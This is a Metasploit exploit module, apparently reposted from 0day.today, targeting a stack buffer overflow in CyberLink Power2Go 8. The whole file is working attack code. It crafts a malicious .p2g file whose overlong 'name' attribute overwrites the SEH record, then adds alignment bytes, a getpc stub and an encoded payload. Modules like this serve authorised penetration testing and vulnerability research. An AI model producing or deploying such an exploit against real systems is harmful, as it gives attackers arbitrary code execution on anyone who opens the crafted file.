CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking
 
    include Msf::Exploit::FILEFORMAT
 
    def initialize(info = {})
        super(update_info(info,
            'Name'            => 'CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit',
            'Description'     => %q{
                    This module exploits a stack buffer overflow in CyberLink Power2Go version 8.x
                The vulnerability is triggered when opening a malformed p2g file containing an overly
                long string in the 'name' attribute of the file element. This results in overwriting a
                structured exception handler record.
            },
            'License'         => MSF_LICENSE,
            'Author'          =>
                [
                    'modpr0be <modpr0be[at]spentera.com>',    # initial discovery
                    'mr_me <steventhomasseeley[at]gmail.com>' # msf module
                ],
            'References'      =>
                [
                    ['BID', '50997'],
                    ['OSVDB', '70600'],
                    ['URL', 'http://www.exploit-db.com/exploits/18220/'],
                    ['URL', 'http://www.kb.cert.org/vuls/id/158003']
                ],
            'DefaultOptions'  =>
                {
                    'EXITFUNC' => 'process',
                    'InitialAutoRunScript' => 'migrate -f',
                },
            'Payload'         =>
                {
                    'Space'    => 1024,
                    'BadChars' => "\x00"
                },
            'Platform'        => 'win',
            'Targets'         =>
                [
                    # Power2Go8.exe (0x004b0028) - pop esi/pop ebp/pop ebx/add esp,10/retn
                    [ 'CyberLink Power2Go 8 (XP/Vista/win7) Universal', { 'Ret' => "\x28\x4b" } ]
                ],
            'DisclosureDate'  => 'Sep 12 2011',
            'DefaultTarget'   => 0))
 
        register_options(
            [
                OptString.new('FILENAME', [ true, 'The output filename.', 'msf.p2g'])
            ], self.class)
    end
 
    def get_payload(hunter)
         
        [ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|
            enc = framework.encoders.create(name)
            if name =~ /unicode/
                enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })
            else
                enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })
            end
            # NOTE: we already eliminated badchars
            hunter = enc.encode(hunter, nil, nil, platform)
            if name =~/alpha/
                #insert getpc_stub & align EDX, unicode encoder friendly.
                #Hardcoded stub is not an issue here because it gets encoded anyway
                getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
                hunter = getpc_stub + hunter
            end
        }
 
        return hunter
    end
 
    def exploit
 
        title = rand_text_alpha(10)
        buffer =  ""
        buffer << rand_text_alpha(778)
        buffer << "\x58\x28"        # nseh
        buffer << target['Ret']     # seh
        buffer << "\x5f\x73" * 15   # pop edi/add [ebx],dh (after byte alignment)
        buffer << "\x58\x73"        # pop eax/add [ebx],dh (after byte alignment)
        buffer << "\x40\x73" * 3    # inc eax/add [ebx],dh (after byte alignment)
        buffer << "\x40"            # inc eax
        buffer << "\x73\x42" * 337  # add [ebx],dh/pop edx (after byte alignment)
        buffer << "\x73"            # add [ebx],dh (after byte alignment)
        buffer << get_payload(payload.encoded)
 
        p2g_data = <<-EOS
        <Project magic="#{title}" version="101">
        <Information />
            <Compilation>
                <DataDisc>
                    <File name="#{buffer}" />
                </DataDisc>
            </Compilation>
        </Project>
        EOS
 
        print_status("Creating '#{datastore['FILENAME']}' file ...")
        file_create(p2g_data)
    end
end



#  0day.today [2018-03-01]  #